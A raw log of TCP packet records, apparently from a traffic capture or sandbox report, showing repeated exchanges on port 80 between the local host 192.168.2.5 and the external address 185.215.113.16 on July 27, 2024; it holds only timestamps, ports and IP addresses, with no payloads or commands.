Jul 27, 2024 12:01:23.379159927 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.379219055 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.379256010 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.379288912 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.379298925 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.379298925 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.379298925 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.379323006 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.379358053 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.379393101 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.379400969 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.379400969 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.379514933 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.379548073 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.379581928 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.379614115 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.379623890 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.379623890 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.379623890 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.379648924 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.379713058 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.379713058 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.380019903 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.380069971 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.380074024 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.380106926 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.380156994 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.380187035 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.380188942 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.380203009 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.380222082 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.380256891 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.380270958 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.380270958 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.380342007 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.380342960 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.380376101 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.380410910 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.380428076 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.380428076 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.380444050 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.380476952 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.380503893 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.380554914 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.380557060 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.380589962 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.380623102 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.380661011 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.380673885 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.380673885 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.380693913 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.380728006 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.380762100 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.380794048 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.380794048 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.380795956 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.380906105 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.380938053 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.380938053 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.380940914 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.380975962 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.381005049 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.381005049 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.381010056 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.381014109 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.381043911 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.381055117 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.381078005 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.381112099 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.381119967 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.381119967 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.381242990 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.381675005 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.381709099 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.381742954 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.381774902 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.381783962 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.381783962 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.381808043 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.381808043 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.381859064 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.381891966 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.381901979 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.381901979 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.381901979 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.381925106 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.381951094 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.381961107 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.381994963 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.382026911 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.382035971 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.382035971 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.382035971 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.382061958 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.382086992 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.382096052 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.382128954 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.382170916 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.382179976 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.382210016 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.382241964 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.382249117 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.382249117 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.382272959 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.382277012 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.382312059 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.382352114 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.382352114 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.382352114 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.382457018 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.382489920 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.382523060 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.382574081 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.382575989 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.382575989 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.382606030 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.382639885 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.382672071 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.382677078 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.382704973 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.382740021 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.382771969 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.382806063 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.382812977 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.382812977 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.382812977 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.383182049 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.403814077 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.403870106 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.403877020 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.403918028 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.403951883 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.403995991 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.403995991 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.404004097 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.404038906 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.404071093 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.404074907 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.404107094 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.404146910 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.404167891 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.404167891 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.404179096 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.404211998 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.404222012 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.404222012 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.404222012 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.404247999 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.404315948 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.404315948 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.404361963 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.404395103 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.404428959 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.404462099 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.404510021 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.404510021 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.404687881 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.404721975 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.404756069 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.404787064 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.404789925 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.404815912 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.404824972 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.404865026 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.404875040 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.404898882 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.404932022 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.404975891 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.404975891 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.404984951 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.405024052 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.405060053 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.405069113 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.405069113 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.405087948 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.405097008 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.405164003 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.465229988 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.465286016 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.465301037 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.465356112 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.465432882 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.465445995 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.465502024 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.465537071 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.465570927 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.465604067 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.465610027 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.465610027 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.465610027 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.465641022 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.465675116 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.465708971 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.465743065 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.465776920 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.465785980 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.465785980 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.465786934 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.465811968 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.465960026 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.465964079 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.466017008 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.466049910 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.466101885 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.466130018 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.466130018 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.466135979 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.466170073 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.466203928 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.466212988 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.466212988 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.466212988 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.466252089 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.466281891 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.466315031 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.466332912 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.466332912 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.466332912 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.466350079 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.466383934 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.466388941 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.466423035 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.466423988 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.466480017 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.466520071 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.466552973 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.466572046 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.466572046 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.466728926 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.467082977 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.467130899 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.467154026 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.467187881 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.467232943 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.467272997 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.467307091 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.467339993 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.467348099 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.467374086 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.467392921 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.467441082 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.467472076 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.467473984 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.467484951 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.467506886 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.467540979 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.467585087 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.467585087 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.467653990 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.467685938 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.467719078 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.467752934 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.467761993 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.467761993 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.467791080 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.467854977 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.467886925 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.467900991 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.467900991 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.467921019 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.467957020 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.468008041 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.468014956 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.468014956 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.468041897 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.468103886 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.468611002 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.468666077 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.468693018 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.468728065 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.468760967 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.468771935 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.468796015 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.468827963 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.468830109 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.468841076 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.468893051 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.468911886 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.468955994 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.468977928 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.468991041 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.469027042 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.469034910 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.469034910 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.469062090 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.469104052 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.469104052 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.469186068 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.469218016 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.469244003 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.469250917 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.469285011 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.469296932 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.469296932 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.469319105 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.469352007 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.469383955 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.469408035 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.469575882 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.469609976 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.469641924 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.469671011 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.469676018 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.469676971 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.469676971 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.469705105 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.469738007 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.469770908 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.469803095 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.469813108 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.469813108 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.469835997 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.469866037 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.469870090 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.469902992 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.469938040 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.469973087 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.470000982 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.470000982 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.470005989 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.470040083 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.470071077 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.470087051 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.470087051 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.470087051 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.470105886 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.470139027 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.470174074 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.470207930 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.470207930 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.470361948 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.491065979 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.491111040 CEST	80	49705	185.215.113.16	192.168.2.5
